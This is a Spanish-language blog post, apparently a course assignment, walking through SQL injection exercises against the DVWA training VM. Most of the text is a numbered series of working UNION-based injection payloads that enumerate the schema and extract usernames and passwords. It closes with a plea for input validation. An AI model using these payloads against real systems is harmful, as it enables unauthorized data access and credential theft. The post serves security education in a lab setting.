jueves, 1 de octubre de 2015

UNIDAD 2 TAREA 2 : SQL INYECTION

Lo primer que deberemos hacer es descargar la maquina virtual que contiene el sitio diseñado para realizar pruebas de vulnerabilidades dvwa.

Corremos la maquina virtual y levantamos el sitio:


Verificamos nuestra direccion IP, y luego levantamos el sitio ingresando la direccion IP.



Ingresamos con usuario admin y pass: password, en el menu veremos una serie de pruebas que se pueden realizar en este sitio, pero nosotros para esta tarea nos enfocaremos en SQL injection. Ahora debemos modificar el parametro de seguridad en bajo.



Ahora comenzemos con las pruebas de Inyección SQL :

1.- Ingreso de un caracter, en este caso el numero 1 en la caja de texto:
     Resultado: "SELECT first_name, last_name FROM users WHERE user_id = '$id'" 
Esto devuelve el nombre y apellido desde la tabla usuarios donde el campo user_id es igual, en este caso a el numero 1, que seria el primer valor de la fila de dicha tabla.


2.- Ingreso de  %' or '0'='0 en el campo de texto. Valor siempre verdadero.
   Resultado:  SELECT first_name, last_name FROM users WHERE user_id = '%' or '0'='0'
    Este desplegara todos los registros que sean falsos y todos los registros que sean verdaderos.

colocar imagen.



3.- Ingresar el siguiente comando %' or 0=0 union select null,version()#
        Resultado: Se desplegara la version de la base de datos.

4.- Ingresar el siguiente comando : %' or 0=0 union select null, user() #
Resultado: Desplegara el nombre de usuario de la base de datos.en este caso es dvwa@localhost



5.- Ingresar el siguiente comando: %' or 0=0 union select null, database() #
Resultado: Desplegara el nombre de la base de datos. En este caso es dvwa


6.- Ingresar el siguiente comando: %' and 1=0 union select null, table_name from information_schema.tables #
Resultado: Este desplegara todas las tablas del esquema information_schema.


7.- Ingresar el siguiente comando: %' and 1=0 union select null, table_name from information_schema.tables where table_name like 'user%'#
Resultado: Se desplegara todas las tablas que comienzen con el prejijo user en la base de datos information_schema



8.- Ingresar el siguiente comando: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
Resultado: Desplegara todas las columnas o campos en la tabla usuarios

9.- Ingresar el siguiente comando: %' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
Resultado: Al saber la tabla que cotiene a el o los usuarios de la base de datos, podemos obtener toda la informacion de autenticacion de ella:





CONCLUSIONES

Como podemos ver, si un hacker tiene conocimientos avanzados de base de datos y lenguaje SQL, puede obtener gran cantidad de información , sobre todo cuando esa base de datos es considerado como un activo de la empresa y de sensibilidad crítica. No sólo existen los comandos presentados, el lenguaje SQL da para mucho, tambien podriamos crear nuestro propio usuario dentro de la base de datos con un insert por ejemplo, 
Por estos motivos un desarrollador es tan importante como un QA, ya que deben validar todas las entradas de datos en su aplicación, y no tener codigo sql embebido dentro del código. La programación segura es de vital importancia dentro de este punto. Por eso insto a seguir el ciclo de vida del desarrollo del software para que no existan puntos debiles en los sistemas. Aunque sabemos que siempre existirán o estará ahi el joven sith para lograrlo.

No hay comentarios:

Publicar un comentario